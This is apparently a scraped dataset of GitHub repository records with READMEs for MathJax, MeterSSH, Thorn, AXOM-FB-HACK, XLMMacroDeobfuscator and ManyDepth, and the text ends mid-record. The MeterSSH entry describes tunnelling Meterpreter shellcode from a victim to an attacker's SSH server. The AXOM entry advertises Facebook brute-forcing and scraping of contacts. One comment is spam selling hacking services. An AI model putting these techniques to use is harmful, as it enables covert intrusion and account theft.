additional details.\n\n\n## Beautiful documentation.\n\nThe MathJax installation and usage documentation is available in this repository. The documents are also\navailable on the MathJax web site online at <http://docs.mathjax.org>.  Please help us improve the documentation!\nYou can use the editor feature on github to simplify this.\n\n## Community\n\nThe main MathJax website is <https://www.mathjax.org>, and it includes\nannouncements and other important information.  MathJax is maintained and\ndistributed on GitHub at <https://github.com/mathjax/MathJax>, and the source code is housed at <https://github.com/mathjax/MathJax-src>.  A user forum\nfor asking questions and getting assistance is hosted at Google, and the\nbug tracker is hosted at GitHub:\n\nBug tracker:         <https://github.com/mathjax/MathJax/issues>  \nMathJax-Users Group: <https://groups.google.com/group/mathjax-users>\n\nBefore reporting a bug, please check that it has not already been reported.\nPlease use the bug tracker for reporting bugs rather than the help forum, and use the forum rather than the bug tracker for asking usage questions.\n\n\n## License\n\nJust like MathJax, this documentation is license under Apache License, Version 2.0.\n\n> Copyright (c) 2009-2020 The MathJax Consortium\n>\n> Licensed under the Apache License, Version 2.0 (the \"License\");\n> you may not use this file except in compliance with the License.\n> You may obtain a copy of the License at\n>\n>  http://www.apache.org/licenses/LICENSE-2.0\n>\n> Unless required by applicable law or agreed to in writing, software\n> distributed under the License is distributed on an \"AS IS\" BASIS,\n> WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n> See the License for the specific language governing permissions and\n> limitations under the License.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "trustedsec/meterssh", "link": "https://github.com/trustedsec/meterssh", "tags": [], "stars": 509, "description": "MeterSSH is a way to take shellcode, inject it into memory then tunnel whatever port you want to over SSH to mask any type of communications as a normal SSH connection. The way it works is by injecting shellcode into memory, then wrapping a port spawned (meterpeter in this case) by the shellcode over SSH back to the attackers machine. Then connecting with meterpreter's listener to localhost will communicate through the SSH proxy, to the victim through the SSH tunnel. All communications are relayed through the SSH tunnel and not through the network.", "lang": "Python", "repo_lang": "", "readme": "Tool Name: MeterSSH\nWritten by: David Kennedy\nCompany: TrustedSec\nWebsite: https://www.trustedsec.com\nTwitter: @TrustedSec, @HackingDave\n\nMeterSSH is a way to take shellcode, inject it into memory then tunnel whatever port you want to over SSH to mask any type of communications as a normal SSH connection. The way it works is by injecting shellcode into memory, then wrapping a port spawned (meterpeter in this case) by the shellcode over SSH back to the attackers machine. Then connecting with meterpreter's listener to localhost will communicate through the SSH proxy, to the victim through the SSH tunnel. All communications are relayed through the SSH tunnel and not through the network.\n\n### Features\n\n1. Meterpreter over SSH\n2. Ability to configure different IP's, addresses, etc. without the need to ever change the shellcode.\n3. Monitor for the SSH connection and automatically spawn the shell\n\n### Bugs and enhancements\n\nFor bug reports or enhancements, please open an issue here https://github.com/trustedsec/artillery/issues\n\n### Usage\n\nThere are two files, monitor.py and meterssh.py. \n\nmonitor.py - run this in order to listen for an SSH connection, it will poll for 8021 on localhost for an SSH tunnel then spawn Metasploit for you automatically to grab the shell.\nmeterssh.py - this is what you would deploy to the victim machine - note that most windows machines wont have Python installed, its recommended to compile Python with py2exe or pyinstaller.\n\nFields you need to edit inside meterssh.py\n\n    user = \"sshuser\"\n    # password for SSH\n    password = \"sshpw\"\n    # this is where your SSH server is running\n    rhost = \"192.168.1.1\"\n    # remote SSH port - this is the attackers SSH server\n    port = \"22\"\n\n\nuser - this is the user account for the attackers SSH server (do not use root, does not need root)\npassword - this is the password for the attackers SSH server\nrhost - this is the attackers SSH server IP address\nport - this is the attackers SSH server port\n\nNote that you DO NOT need to change the Metasploit shellcode, the Metasploit shellcode is simply an unmodified windows/meterpreter/bind_tcp that binds to port 8021. If you want to change this, just switch the shellcode out and change port 8021 inside the script to bind to whatever port you want to. You do not need to do this however unless you want to customize/modify.\n\n### Supported platforms\n\n- Windows\n\n### License\n\n\nCopyright 2016, MeterSSH by TrustedSec, LLC\nAll rights reserved. \n\nRedistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n\n    * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n    * Neither the name of MeterSSH nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY  THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nThe above licensing was taken from the BSD licensing and is applied to MeterSSH as well.\n\nNote that the MeterSSH is provided as is, and is a royalty free open-source application.\n\nFeel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where credit is due (which means giving the authors the credit they deserve for writing it). Also note that by using this software, if you ever see the creator of SET in a bar, you should give him a hug and buy him a beer. Hug must last at least 5 seconds. Author holds the right to refuse the hug (most likely will never happen) or the beer (also most likely will never happen).\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "robinhood/thorn", "link": "https://github.com/robinhood/thorn", "tags": [], "stars": 509, "description": "Easy Webhooks for Python", "lang": "Python", "repo_lang": "", "readme": ".. image:: http://thorn.readthedocs.io/en/latest/_images/thorn_banner.png\n\n==========================\n Python Stream Processing\n==========================\n\n|build-status| |coverage| |license| |wheel| |pyversion| |pyimp|\n\n:Version: 1.5.2\n:Web: http://thorn.readthedocs.io/\n:Download: http://pypi.python.org/pypi/thorn/\n:Source: http://github.com/robinhood/thorn/\n:Keywords: event driven, webhooks, callback, http, django\n\n.. contents:: Table of Contents:\n    :local:\n\n\nAbout\n=====\n\nThorn is a webhook framework for Python, focusing on flexibility and\nease of use, both when getting started and when maintaining a production\nsystem.\n\nThe goal is for webhooks to thrive on the web, by providing Python projects\nwith an easy solution to implement them and keeping a repository of patterns\nevolved by the Python community.\n\n- **Simple**\n\n    Add webhook capabilities to your database models using a single\n    decorator, including filtering for specific changes to the model.\n\n- **Flexible**\n\n    All Thorn components are pluggable, reusable and extendable.\n\n- **Scalable**\n\n    Thorn can perform millions of HTTP requests every second by taking\n    advantage of `Celery`_ for asynchronous processing.\n\n.. _`Celery`: http://celeryproject.org/\n\nWhat are webhooks?\n==================\n\nA webhook is a fancy name for an HTTP callback.\n\nUsers and other services can subscribe to events happening in your system\nby registering a URL to be called whenever the event occurs.\n\nThe canonical example would be GitHub where you can register URLs to be\ncalled whenever a new change is committed to your repository, a new\nbugtracker issue is created, someone publishes a comment, and so on.\n\nAnother example is communication between internal systems, traditionally\ndominated by complicated message consumer daemons, using webhooks\nis an elegant and REST friendly way to implement event driven systems,\nrequiring only a web-server (and optimally a separate service to dispatch\nthe HTTP callback requests).\n\nWebhooks are also composable, so you can combine multiple HTTP callbacks\nto form complicated workflows, executed as events happen across multiple\nsystems.\n\nIn use\n------\n\nNotable examples of webhooks in use are:\n\n+------------+---------------------------------------------------------------+\n| **Site**   | **Documentation**                                             |\n+------------+---------------------------------------------------------------+\n|   Github   | https://developer.github.com/webhooks/                        |\n+------------+---------------------------------------------------------------+\n|   Stripe   | https://stripe.com/docs/webhooks                              |\n+------------+---------------------------------------------------------------+\n|   PayPal   | http://bit.ly/1TbDtvj                                         |\n+------------+---------------------------------------------------------------+\n\nExample\n-------\n\nThis example adds four webhook events to the Article model of\nan imaginary blog engine:\n\n::\n\n    from django.urls import reverse\n    from thorn import ModelEvent, webhook_model\n\n    @webhook_model   # <--- activate webhooks for this model\n    class Article(models.Model):\n        uuid = models.UUIDField()\n        title = models.CharField(max_length=100)\n        body = models.TextField()\n\n        class webhooks:\n            on_create = ModelEvent('article.created')\n            on_change = ModelEvent('article.changed'),\n            on_delete = ModelEvent('article.removed'),\n            on_publish = ModelEvent(\n                'article.published',\n                state__eq='PUBLISHED',\n            ).dispatches_on_change(),\n\n        def get_absolute_url(self):\n            return reverse('article:detail', kwargs={'uuid': self.uuid})\n\nUsers can now subscribe to the four events individually, or all of them\nby subscribing to ``article.*``, and will be notified every time\nan article is created, changed, removed or published:\n\n::\n\n    $ curl -X POST                                                      \\\n    > -H \"Authorization: Bearer <secret login token>\"                   \\\n    > -H \"Content-Type: application/json\"                               \\\n    > -d '{\"event\": \"article.*\", \"url\": \"https://e.com/h/article?u=1\"}' \\\n    > http://example.com/hooks/\n\nThe API is expressive, so may require you to learn more about the arguments\nto understand it fully.  Luckily it's all described in the\n`Events Guide`_ for you to consult after reading\nthe quick start tutorial.\n\nWhat do I need?\n===============\n\n.. sidebar:: Version Requirements\n    :subtitle: Thorn version 1.0 runs on\n\n    - Python (2.7, 3.4, 3.5)\n    - PyPy (5.1.1)\n    - Jython (2.7).\n\n    - Django (1.8, 1.9, 1.10)\n        Django 1.9 adds the ``transaction.on_commit()`` feature,\n        and Thorn takes advantage of this to send events only when\n        the transaction is committed.\n\nThorn currently only supports `Django`_, and an API for subscribing to events\nis only provided for `Django REST Framework`_.\n\nExtending Thorn is simple so you can also contribute support\nfor your favorite frameworks.\n\nFor dispatching web requests we recommend using `Celery`_, but you\ncan get started immediately by dispatching requests locally.\n\nUsing `Celery`_ for dispatching requests will require a message transport\nlike `RabbitMQ`_ or `Redis`_.\n\nYou can also write custom dispatchers if you have an idea for efficient\npayload delivery, or just want to reuse a technology you already deploy in\nproduction.\n\n.. _`Celery`: http://celeryproject.org/\n.. _`Django`: http://djangoproject.com/\n.. _`Django REST Framework`: http://www.django-rest-framework.org\n.. _`RabbitMQ`: http://rabbitmq.com\n.. _`Redis`: http://redis.io\n\nQuick Start\n===========\n\nGo immediately to the ``django-guide`` guide to get started using\nThorn in your Django projects.\n\nIf you are using a different web framework, please consider contributing\nto the project by implementing a new environment type.\n\nAlternatives\n============\n\nThorn was inspired by multiple Python projects:\n\n- `dj-webhooks`_\n- `django-rest-hooks`_\n- `durian`_\n\n.. _`dj-webhooks`: https://github.com/pydanny/dj-webhooks\n.. _`django-rest-hooks`: https://github.com/zapier/django-rest-hooks\n.. _`durian`: https://github.com/ask/durian/\n\n.. _`Events Guide`: http://thorn.readthedocs.io/en/latest/userguide/events.html\n\n.. _installation:\n\nInstallation\n============\n\nInstalling the stable version\n-----------------------------\n\nYou can install thorn either via the Python Package Index (PyPI)\nor from source.\n\nTo install using `pip`,:\n\n::\n\n    $ pip install -U thorn\n\n.. _installing-from-source:\n\nDownloading and installing from source\n--------------------------------------\n\nDownload the latest version of thorn from\nhttp://pypi.python.org/pypi/thorn/\n\nYou can install it by doing the following,:\n\n::\n\n    $ tar xvfz thorn-0.0.0.tar.gz\n    $ cd thorn-0.0.0\n    $ python setup.py build\n    # python setup.py install\n\nThe last command must be executed as a privileged user if\nyou are not currently using a virtualenv.\n\n.. _installing-from-git:\n\nUsing the development version\n-----------------------------\n\nWith pip\n~~~~~~~~\n\nYou can install the latest snapshot of thorn using the following\npip command:\n\n::\n\n    $ pip install https://github.com/robinhood/thorn/zipball/master#egg=thorn\n\n.. _`Events Guide`: http://thorn.readthedocs.io/en/latest/userguide/events.html\n\n.. _getting-help:\n\nGetting Help\n============\n\n.. _mailing-list:\n\nMailing list\n------------\n\nFor discussions about the usage, development, and future of Thorn,\nplease join the `thorn-users`_ mailing list.\n\n.. _`thorn-users`: https://groups.google.com/forum/#!forum/thorn-users\n\n.. _irc-channel:\n\nIRC\n---\n\nCome chat with us on IRC. The **#thorn** channel is located at the `Freenode`_\nnetwork.\n\n.. _`Freenode`: http://freenode.net\n\n.. _bug-tracker:\n\nBug tracker\n===========\n\nIf you have any suggestions, bug reports or annoyances please report them\nto our issue tracker at https://github.com/robinhood/thorn/issues/\n\n.. _contributing-short:\n\nContributing\n============\n\nDevelopment of `Thorn` happens at GitHub: https://github.com/robinhood/thorn\n\nYou are highly encouraged to participate in the development\nof `thorn`. If you don't like GitHub (for some reason) you're welcome\nto send regular patches.\n\nBe sure to also read the `Contributing to Thorn`_ section in the\ndocumentation.\n\n.. _`Contributing to Thorn`:\n    http://thorn.readthedocs.io/en/latest.html\n\n.. _license:\n\nLicense\n=======\n\nThis software is licensed under the `New BSD License`. See the ``LICENSE``\nfile in the top distribution directory for the full license text.\n\n.. # vim: syntax=rst expandtab tabstop=4 shiftwidth=4 shiftround\n\n.. _`Events Guide`: http://thorn.readthedocs.io/en/latest/userguide/events.html\n\n.. |build-status| image:: https://secure.travis-ci.org/robinhood/thorn.png?branch=master\n    :alt: Build status\n    :target: https://travis-ci.org/robinhood/thorn\n\n.. |coverage| image:: https://codecov.io/github/robinhood/thorn/coverage.svg?branch=master\n    :target: https://codecov.io/github/robinhood/thorn?branch=master\n\n.. |license| image:: https://img.shields.io/pypi/l/thorn.svg\n    :alt: BSD License\n    :target: https://opensource.org/licenses/BSD-3-Clause\n\n.. |wheel| image:: https://img.shields.io/pypi/wheel/thorn.svg\n    :alt: Thorn can be installed via wheel\n    :target: http://pypi.python.org/pypi/thorn/\n\n.. |pyversion| image:: https://img.shields.io/pypi/pyversions/thorn.svg\n    :alt: Supported Python versions.\n    :target: http://pypi.python.org/pypi/thorn/\n\n.. |pyimp| image:: https://img.shields.io/pypi/implementation/thorn.svg\n    :alt: Support Python implementations.\n    :target: http://pypi.python.org/pypi/thorn/\n\n.. _`Events Guide`: http://thorn.readthedocs.io/en/latest/userguide/events.html\n\n", "readme_type": "rst", "hn_comments": "So they probably have a request logger that logs request headers, and they accidently were logging credentials from those headers is probably what happened. This has hit basically every large web service at some point. Crazy this never came up in an earlier internal security audit, but not surprising it occurred in the first place.<HN_SEP>\"found no evidence that this information was accessed by anyone outside of our response team. Out of an abundance of caution, we still recommend that you change your Robinhood password.\"That is complete bullshiting pr spin and I'm greatly concerned about my account.Gee wiz I wonder if anyone on the response team could have done something. Or a dev with nefarious purposes like guy that rigged the lottery multiple times.<HN_SEP>Not surprised, considering their security practices... see https://news.ycombinator.com/item?id=15679099<HN_SEP>If you ever run a service, make sure you're not storing nginx logs with the contents of POST requests. A few years later you'll realize you \"stored passwords in plaintext\"I assume this is what happened here, but maybe Robinhood will elaborate at some point.<HN_SEP>> \"we ... recommend that you change your Robinhood password\"This should really be a forced reset. Not finding evidence that it was accessed isn't proof that it wasn't.<HN_SEP>I smell weapons grade bullshit.>On Monday night, we discoveredBecause one casually does security audits on a Monday night and then releases a \"nothing has come to our attention\" statement?The one is proactive (on a monday night?) the other speaks of a response to an external actor. Which is it?The mere fact that a release like this happened suggests some sort of legal/SEC/accounting requirement was triggered. i.e. Something happened.<HN_SEP>I think it was some kind of logs. Probably request logs.<HN_SEP>The fact that they prompt you for your literal bank password when funding your account says everything you need to know about how they look at security.<HN_SEP>Garry coleGREETINGS EVERYONE, are you looking for a LEGIT and Trustworthy HACKERS with 100% Guarantee and you want to get your job done urgently withing one Hour or you are face with delay and unnecessary excuses and error on your job?. Then Worry no more because easyhackingguru@gmail.com are the Best Bet in any hacking Services. They are ready to render and attend to your job with swift response and No delay at all.Their services are outlined as follows:. LONG TIME LOAN GIVING. PROFESSIONAL in SCHOOL GRADE changing. WHATSAPP Hack. FACBOOK hack. PROFESSIONAL in any BANK ACCOUNTS TRANSFER. TWITTERS hack. EMAIL,YAHOOMAIL and HOTMAIL ACCOUNTS hack. WEBSITE CRASHED hack. SERVER CRASHED hack. SALES OF SPYWARE and KEYLOGGER SOFTWARE. RETRIVAL OF LOST FILES and DOCUMENTS. ERASE and EXPUNGE of CRIMINAL RECORDS. DATABASE hack. SALES of ATM CARDS in WHITE. SKYPE hack. PAYPAL hack. DROPBOX ACCOUNT hack and Lots more..........CONTACT: their services at easyhackingguru@gmail.com and you will be glad you didwhatsApp contact- +1(216)525-9704<HN_SEP>This is yet another reminder: Do Not Reuse Passwords. There\u2019s good password management even for mobile operating systems these days. I\u2019m using Bitwarden on iOS, and it integrates well both with native apps and webpages.Also, use two factor authentication, of course. If you are going the U2F route, I highly recommend having a permanent key for each computer and a bluetooth+NFC key for on-the-go. It\u2019s a worthwhile investment.My biggest problem today is that it is tedious to generate and save new passwords on mobile, which is increasingly where I do so... but security always comes with some costs, I suppose.<HN_SEP>Man, I would spend time masking sensitive data in a shop with no traffic, but someone like Robinhood or Facebook can get away with it. They don't sweat the small stuff, do they?<HN_SEP>The title is so misleading....<HN_SEP>\"take matters like this seriously\", not really.<HN_SEP>This doesn't mean they were stored in a database. \"a readable format within our internal systems\" could be log files if they didn't scrub passwords when logging requests.<HN_SEP>Probably server logs / http request handler console log<HN_SEP>thanks for the heads up. I got the same email earlier.<HN_SEP>Plaintext bank account credentials. Wow.<HN_SEP>Similar things have happened to Facebook and Google recently, the two companies that people keep repeating have the best security teams in the world. As long as humans are involved in programming - something that will likely be the case for the foreseeable future - these things will happen. But props to them for owning up about it and promptly mailing users pro-actively.<HN_SEP>Isnt it so convenient that they announce this after they close their funding round.<HN_SEP>I got an email this morning that my hulu had been logged into... my hulu and my robinhood did in fact share a password. I have no evidence that these are connected, but better safe than sorry. (And I do use 1password now, I just didn't back when I used robinhood and hulu).<HN_SEP>Looks like storing in text is now a trend will do this in rest of my projects.<HN_SEP>It's hard to believe a financial services company would store passwords in plain text out of stupidity. Could this be a legal strategy to avoid responsibility in some scenario?<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "dAYOShACKER505/AXOM-FB-HACK", "link": "https://github.com/dAYOShACKER505/AXOM-FB-HACK", "tags": [], "stars": 509, "description": "facebook hacking tool for termux or linux 2020", "lang": "Python", "repo_lang": "", "readme": "# AXOM-FB-HACK\n#facebook hacking tool for termux or linux 2020\n#Only use token for login or Dont use real id\n\n\nFEATURES:\n======================================\n1 LOGIN WITH EMAIL/USR ID\n\n 2 LOGIN WITH TOKEN\n\nIFORMATIONS:\n=======================================\n 1 Facebook friend info fetcher\n\n 2 Get ID from friend\n\n 3 Get ID friend from friend\n\n 4 Get group member ID\n\n 5 Get email friend\n\n 6 Get email friend from friend\n\n 7 Get a friend's phone number\n\n 8 Get a friend's phone number from friend\n\n 9 Mini Hack Facebook(Target)\n\n 10 Multi Bruteforce Facebook\n\n 11 Super Multi Bruteforce Facebook\n\n 12 BruteForce(Target)\n\n 13 Yahoo Checker\n\n 14 Bot Reactions Target Post\n\n 15 Bot Reactions group Post\n\n 16 BOT COMMENT Target Post\n\n 17 BOT COMMENT group Post\n\n 18 Mass delete Post\n\n 19 Mass accept friends\n\n 20 Mass delete friend\n\n 21 ACreate Post\n\n 22 Create Wordlist\n\n 23 Account Checker\n\n 24 See my group list\n\n 25 Profile Guard\n\n\n\nINSTALLATION:\n============================================\n$ apt update && apt upgrade\n\n$ apt install git\n\n$ apt install python2\n\n$ git clone https://github.com/dAYOShACKER505/AXOM-FB-HACK\n\n$ cd AXOM-FB-HACK\n\n$ ls\n\n$ python2 axom.py\n\n\nDONATE ME                       \n=================================================\nBTC ADDRESS-                                                            \n3NyAqCN5YvtXSCCxcAgr43uzugSqGLGYaK \n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "DissectMalware/XLMMacroDeobfuscator", "link": "https://github.com/DissectMalware/XLMMacroDeobfuscator", "tags": ["xlm-interactive-shell", "xlm-deobfuscator", "deobfuscator", "parser", "emulation", "malware-analysis", "xlm", "excel-macros", "xlm-grammar", "xlm-parser", "excel-macro", "macro-deobfuscator"], "stars": 509, "description": "Extract and Deobfuscate XLM macros (a.k.a Excel 4.0 Macros)", "lang": "Python", "repo_lang": "", "readme": "# XLMMacroDeobfuscator\nXLMMacroDeobfuscator can be used to decode obfuscated XLM macros (also known as Excel 4.0 macros). It utilizes an internal XLM emulator to interpret the macros, without fully performing the code.\n\nIt supports both xls, xlsm, and xlsb formats. \n\nIt uses [xlrd2](https://github.com/DissectMalware/xlrd2), [pyxlsb2](https://github.com/DissectMalware/pyxlsb2) and its own parser to extract cells and other information from xls, xlsb and xlsm files, respectively.\n\nYou can also find XLM grammar in [xlm-macro-lark.template](XLMMacroDeobfuscator/xlm-macro.lark.template)\n\n# Installing the emulator\n\n1. Install using pip\n\n```\npip install XLMMacroDeobfuscator --force\n```\n\nor\n\n```\npip install xlmmacrodeobfuscator[defusedxml] --force\n```\n\n2. Installing the latest development\n\n```\npip install -U https://github.com/DissectMalware/XLMMacroDeobfuscator/archive/master.zip --force\n```\n\n# Running the emulator\nTo deobfuscate macros in Excel documents: \n\n```\nxlmdeobfuscator --file document.xlsm\n```\n\nTo only extract macros in Excel documents (without any deobfuscation): \n\n```\nxlmdeobfuscator --file document.xlsm -x\n```\n\nTo only get the deobfuscated macros and without any indentation:\n\n```\nxlmdeobfuscator --file document.xlsm --no-indent --output-formula-format \"[[INT-FORMULA]]\"\n```\n\nTo export the output in JSON format \n```\nxlmdeobfuscator --file document.xlsm --export-json result.json\n```\nTo see a sample JSON output, please check [this link](https://pastebin.com/bwmS7mi0) out.\n\nTo use a config file\n```\nxlmdeobfuscator --file document.xlsm -c default.config\n```\n\ndefault.config file must be a valid json file, such as:\n\n```json\n{\n\t\"no-indent\": true,\n\t\"output-formula-format\": \"[[CELL-ADDR]] [[INT-FORMULA]]\",\n\t\"non-interactive\": true,\n\t\"output-level\": 1\n}\n```\n\n# Command Line \n\n```\n\n          _        _______\n|\\     /|( \\      (       )\n( \\   / )| (      | () () |\n \\ (_) / | |      | || || |\n  ) _ (  | |      | |(_)| |\n / ( ) \\ | |      | |   | |\n( /   \\ )| (____/\\| )   ( |\n|/     \\|(_______/|/     \\|\n   ______   _______  _______  ______   _______           _______  _______  _______ _________ _______  _______\n  (  __  \\ (  ____ \\(  ___  )(  ___ \\ (  ____ \\|\\     /|(  ____ \\(  ____ \\(  ___  )\\__   __/(  ___  )(  ____ )\n  | (  \\  )| (    \\/| (   ) || (   ) )| (    \\/| )   ( || (    \\/| (    \\/| (   ) |   ) (   | (   ) || (    )|\n  | |   ) || (__    | |   | || (__/ / | (__    | |   | || (_____ | |      | (___) |   | |   | |   | || (____)|\n  | |   | ||  __)   | |   | ||  __ (  |  __)   | |   | |(_____  )| |      |  ___  |   | |   | |   | ||     __)\n  | |   ) || (      | |   | || (  \\ \\ | (      | |   | |      ) || |      | (   ) |   | |   | |   | || (\\ (\n  | (__/  )| (____/\\| (___) || )___) )| )      | (___) |/\\____) || (____/\\| )   ( |   | |   | (___) || ) \\ \\__\n  (______/ (_______/(_______)|/ \\___/ |/       (_______)\\_______)(_______/|/     \\|   )_(   (_______)|/   \\__/\n\n    \nXLMMacroDeobfuscator(v0.2.0) - https://github.com/DissectMalware/XLMMacroDeobfuscator\n\nError: --file is missing\n\nusage: deobfuscator.py [-h] [-c FILE_PATH] [-f FILE_PATH] [-n] [-x]\n                       [--sort-formulas] [--defined-names] [-2]\n                       [--with-ms-excel] [-s] [-d DAY]\n                       [--output-formula-format OUTPUT_FORMULA_FORMAT]\n                       [--extract-formula-format EXTRACT_FORMULA_FORMAT]\n                       [--no-indent] [--silent] [--export-json FILE_PATH]\n                       [--start-point CELL_ADDR] [-p PASSWORD]\n                       [-o OUTPUT_LEVEL] [--timeout N]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -c FILE_PATH, --config-file FILE_PATH\n                        Specify a config file (must be a valid JSON file)\n  -f FILE_PATH, --file FILE_PATH\n                        The path of a XLSM file\n  -n, --noninteractive  Disable interactive shell\n  -x, --extract-only    Only extract cells without any emulation\n  --sort-formulas       Sort extracted formulas based on their cell address\n                        (requires -x)\n  --defined-names       Extract all defined names\n  -2, --no-ms-excel     [Deprecated] Do not use MS Excel to process XLS files\n  --with-ms-excel       Use MS Excel to process XLS files\n  -s, --start-with-shell\n                        Open an XLM shell before interpreting the macros in\n                        the input\n  -d DAY, --day DAY     Specify the day of month\n  --output-formula-format OUTPUT_FORMULA_FORMAT\n                        Specify the format for output formulas ([[CELL-ADDR]],\n                        [[INT-FORMULA]], and [[STATUS]]\n  --extract-formula-format EXTRACT_FORMULA_FORMAT\n                        Specify the format for extracted formulas ([[CELL-\n                        ADDR]], [[CELL-FORMULA]], and [[CELL-VALUE]]\n  --no-indent           Do not show indent before formulas\n  --silent              Do not print output\n  --export-json FILE_PATH\n                        Export the output to JSON\n  --start-point CELL_ADDR\n                        Start interpretation from a specific cell address\n  -p PASSWORD, --password PASSWORD\n                        Password to decrypt the protected document\n  -o OUTPUT_LEVEL, --output-level OUTPUT_LEVEL\n                        Set the level of details to be shown (0:all commands,\n                        1: commands no jump 2:important commands 3:strings in\n                        important commands).\n  --timeout N           stop emulation after N seconds (0: not interruption\n                        N>0: stop emulation after N seconds)\n```\n\n# Library\nThe following example shows how XLMMacroDeobfuscator can be used in a python project to deobfuscate XLM macros:\n\n```python\nfrom XLMMacroDeobfuscator.deobfuscator import process_file\n\nresult = process_file(file='path/to/an/excel/file', \n            noninteractive= True, \n            noindent= True, \n            output_formula_format='[[CELL-ADDR]], [[INT-FORMULA]]',\n            return_deobfuscated= True,\n            timeout= 30)\n\nfor record in result:\n    print(record)\n```\n\n* note: the xlmdeofuscator logo will not be shown when you use it as a library\n\n# Requirements\n\nPlease read requirements.txt to get the list of python libraries that XLMMacroDeobfuscator is dependent on.\n\nxlmdeobfuscator can be executed on any OS to extract and deobfuscate macros in xls, xlsm, and xlsb files. You do not need to install MS Excel.\n\nNote: if you want to use MS Excel (on Windows), you need to install pywin32 library and use --with-ms-excel switch.\nIf --with-ms-excel is used, xlmdeobfuscator, first, attempts to load xls files with MS Excel, if it fails it uses [xlrd2 library](https://github.com/DissectMalware/xlrd2).\n\n# Project Using XLMMacroDeofuscator\nXLMMacroDeofuscator is adopted in the following projects:\n* [CAPE Sandbox](https://github.com/ctxis/CAPE)\n* [FAME](https://certsocietegenerale.github.io/fame/)\n* [REMNUX](https://remnux.org/)\n* [IntelOwl](https://github.com/intelowlproject/IntelOwl)\n* [Assemblyline 4](https://cybercentrecanada.github.io/assemblyline4_docs/) by Canadian Centre for Cyber Security \n* [oletools](https://github.com/decalage2/oletools) by [@decalage2](https://twitter.com/decalage2)\n\nPlease contact me if you incorporated XLMMacroDeofuscator in your project.\n\n# How to Contribute\nIf you found a bug or would like to suggest an improvement, please create a new issue on the [issues page](https://github.com/DissectMalware/XLMMacroDeobfuscator/issues).\n\nFeel free to contribute to the project forking the project and submitting a pull request.\n\nYou can reach [me (@DissectMlaware) on Twitter](https://twitter.com/DissectMalware) via a direct message.\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "nianticlabs/manydepth", "link": "https://github.com/nianticlabs/manydepth", "tags": ["kitti", "cityscapes", "depths", "monodepth", "depth-estimation", "pytorch", "cvpr2021", "cvpr", "self-supervised-learning", "self-supervised", "cost-volumes", "estimating-depths"], "stars": 509, "description": "[CVPR 2021] Self-supervised depth estimation from short sequences", "lang": "Python", "repo_lang": "", "readme": "# The Temporal Opportunist: Self-Supervised Multi-Frame Monocular Depth\n\n[Jamie Watson](https://scholar.google.com/citations?user=5pC7fw8AAAAJ&hl=en),\n[Oisin Mac Aodha](https://homepages.inf.ed.ac.uk/omacaod/),\n[Victor Prisacariu](https://www.robots.ox.ac.uk/~victor/),\n[Gabriel J. Brostow](http://www0.cs.ucl.ac.uk/staff/g.brostow/) and\n[Michael Firman](http://www.michaelfirman.co.uk) \u2013 **CVPR 2021**\n\n[[Link to paper]](https://arxiv.org/abs/2104.14540)\n\nWe introduce ***ManyDepth***, an adaptive approach to dense depth estimation that can make use of sequence information at test time, when it is available.\n\n* \u2705 **Self-supervised**: We train from monocular video only. No depths or poses are needed at training or test time.\n* \u2705 Good depths from single frames; even better depths from **short sequences**.\n* \u2705 **Efficient**: Only one forward pass at test time. No test-time optimization needed.\n* \u2705 **State-of-the-art** self-supervised monocular-trained depth estimation on KITTI and CityScapes.\n\n\n<p align=\"center\">\n  <a\nhref=\"https://storage.googleapis.com/niantic-lon-static/research/manydepth/manydepth_cvpr_cc.mp4\">\n  <img src=\"assets/video_thumbnail.png\" alt=\"5 minute CVPR presentation video link\" width=\"400\">\n  </a>\n</p>\n\n\n## Overview\n\nCost volumes are commonly used for estimating depths from multiple input views:\n\n<p align=\"center\">\n  <img src=\"assets/cost_volume.jpg\" alt=\"Cost volume used for aggreagting sequences of frames\" width=\"700\" />\n</p>\n\nHowever, cost volumes do not easily work with self-supervised training.\n\n<p align=\"center\">\n  <img src=\"assets/baseline.gif\" alt=\"Baseline: Depth from cost volume input without our contributions\" width=\"700\" />\n</p>\n\nIn our paper, we:\n\n* Introduce an adaptive cost volume to deal with unknown scene scales\n* Fix problems with moving objects\n* Introduce augmentations to deal with static cameras and start-of-sequence frames\n\nThese contributions enable cost volumes to work with self-supervised training:\n\n<p align=\"center\">\n  <img src=\"assets/ours.gif\" alt=\"ManyDepth: Depth from cost volume input with our contributions\" width=\"700\" />\n</p>\n\nWith our contributions, short test-time sequences give better predictions than methods which predict depth from just a single frame.\n\n<p 